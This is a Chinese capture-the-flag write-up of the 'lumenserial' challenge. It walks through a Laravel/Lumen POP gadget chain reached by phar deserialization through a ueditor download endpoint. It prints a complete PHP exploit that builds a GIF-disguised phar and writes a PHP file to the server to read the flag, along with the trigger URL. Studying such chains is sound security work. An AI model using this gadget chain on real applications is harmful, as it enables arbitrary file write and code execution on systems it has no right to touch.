Code-breaking-medium之lumenserial

Code-breaking-medium之lumenserial

一道pop链很深的题,复现了一天,到目前已经有九个人做了。太菜了,只能照着柠檬和kk师傅的wp来学习思路。通过这次的复现,感受到耐心对审计的importance。记录一下在学习wp过程中得到的他见与己见。

题目地址:https://code-breaking.com/puzzle/7/

前期

一个ueditor的页面

在App\Http\Controllers的EditorController.php里提供了远程下载功能

private function download($url)
{
    $content = file_get_contents($url);

url可控为以GET形式传入的source值,由于禁止了以下函数,所以只能利用Phar反序列化再打通pop链

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

Searching POP chain

因为phar反序列化不会反序列化类中的具体函数,所以要找两个魔法方法入口:__destruct|__wakeup这点在柠檬师傅的博客园看到的,也算是经验之谈了。

首先在namespace Illuminate\Broadcasting里找到PendingBroadcast类存在destruct

class PendingBroadcast
{   
public function __construct(Dispatcher $events, $event)
{
    $this->event = $event;
    $this->events = $events;
}
public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
}

Dispatcher是一个接口,所以这里$event、$events应该都是一个继承于这个接口的obj。但是看了下,一共就只有两个类继承于Dispatcher(BusFake、EventFake),且都无法利用。所以转向去寻找存在__call方法的类,看是否可以利用。

为什么要找存在_call方法的类的?根据PHP文档,当一个类里没有定义的方法时,在执行这个不存在方法时,它就会自动调用该类里的__call方法来实现方法重载。

所以要找一个有_call方法的类–>类ValidGenerator。

ValidGenerator

public function __call($name, $arguments)
{
    $i = 0;
    do {
        $res = call_user_func_array(array($this->generator, $name), $arguments);
        $i++;
        if ($i > $this->maxRetries) {
            throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
        }
    } while (!call_user_func($this->validator, $res));

    return $res;
}

$name的值就是dispatch。如果我们能控制$res,就相当于能控制call_user_func的函数和参数

由于在call_user_func_array()中,Generator类没有定义dispatch函数,所以又会调用Generator类的_call函数,跟进Generator类

Generator类

public function __call($method, $attributes) 
{
    return $this->format($method, $attributes);
}

继续跟进format方法

public function format($formatter, $arguments = array())
{
    return call_user_func_array($this->getFormatter($formatter), $arguments);  
}

$formatter的值不可控,且初值为dispatch,继续跟进getFormatter()

public function getFormatter($formatter)
{
    if (isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }

在这步似乎看到了希望,因为它return 了一个数组的值,就比较好控。想办法让$this->getFormatter($formatter)的值是一个数组,即第一次getFormatter()返回的值是数组。数组只有一个值仍为getFormatter,此时$arguemnts为空,因为call_user_func_array,它就会再调用一次getFormatter方法,参数为空。

根据getFormatter方法当参数为空时,返回formatters成员的第一个值。

所以我们需要有两个Generator类:第一个类的formatters成员的键名为dispacth,键值为一个数组(内容为第二个Generator类名$ob2、方法名getFormatter);第二个Generator类的formatters键名随意,键值为我们想要控制的类,此时$res就算可控了。

回身处理validator

那么$this->validator如何处理呢?

这里看到师傅们找的了一个跳板类,赋值给了validator

phpunit\phpunit\src\Framework\MockObject\Stub\ReturnCallback.php:26

namespace PHPUnit\Framework\MockObject\Stub;
class ReturnCallback implements Stub
{
public function invoke(Invocation $invocation)
{
    return \call_user_func_array($this->callback, $invocation->getParameters());
}

invocation接口实现方法

getParameters()是接口的一个方法,用来访问私有属性parameters的值

找到调用这个接口的类就行了,这里是

namespace PHPUnit\Framework\MockObject\Invocation;
class StaticInvocation implements Invocation, SelfDescribing
{
private $parameters;
}

这个类可以通过上面getFormatter方法控制。至此,invoke()里call_user_func_array中的两个参数我们都可控了

构建POC思路

给validator一个数组(内容为实例化的ReturenCallback类、invoke方法名)。即$this->validator参数就成了invoke(),从而让call_user_func调用invoke方法,invoke方法中的Call_user_func_arrary再执行可控函数来getshell

总结一下,Invoke的回调函数能getshell的原因有二:
1、$this->callback 反序列化可控
2、继承invocation的类名返回值可控(getFormatter实现)

Final-EXP

看到kk师傅有一个exp写的很好,把审计流程串成EXP,稍作改动,这里贴出来学习下

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        function __construct(){
            $this->events = new \Faker\ValidGenerator();
            $this->event = 'everything';
        }
    }
}

namespace PHPUnit\Framework\MockObject\Invocation{
    class StaticInvocation{
        function __construct(){
            $this->parameters = array('/var/www/html/upload/hpdoger.php','<?php print_r(file_get_contents('../../flag_larave1_b0ne'));?>');
        }
    }
}

namespace PHPUnit\Framework\MockObject\Stub{
    class ReturnCallback{
        function __construct(){
            $this->callback = 'file_put_contents';
        }
    }
}

namespace Faker{
    class ValidGenerator{
        function __construct(){
            $evilobj = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation();
            $g1 = new \Faker\Generator(array('everything' => $evilobj ));
            $g2 = new \Faker\Generator(array("dispatch" => array($g1, "getFormatter")));

            $rc = new \PHPUnit\Framework\MockObject\Stub\ReturnCallback();

            $this->validator = array($rc, "invoke");
            $this->generator = $g2;
            $this->maxRetries = 10000;
        }
    }

    class Generator{
        function __construct($form){
            $this->formatters = $form;
        }
    }

}
namespace{
    $exp = new Illuminate\Broadcasting\PendingBroadcast();
    print_r(urlencode(serialize($exp)));

    // phar
    $p = new Phar('./hpdoger.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($exp);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
}

上传文件,接着进行反序列化

http://51.158.73.123:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/9af04fac3af8c9d11572234ca3c4c98b/201901/09/26b5b639d9f75a9426cf.gif

再次膜前辈师傅们

not found!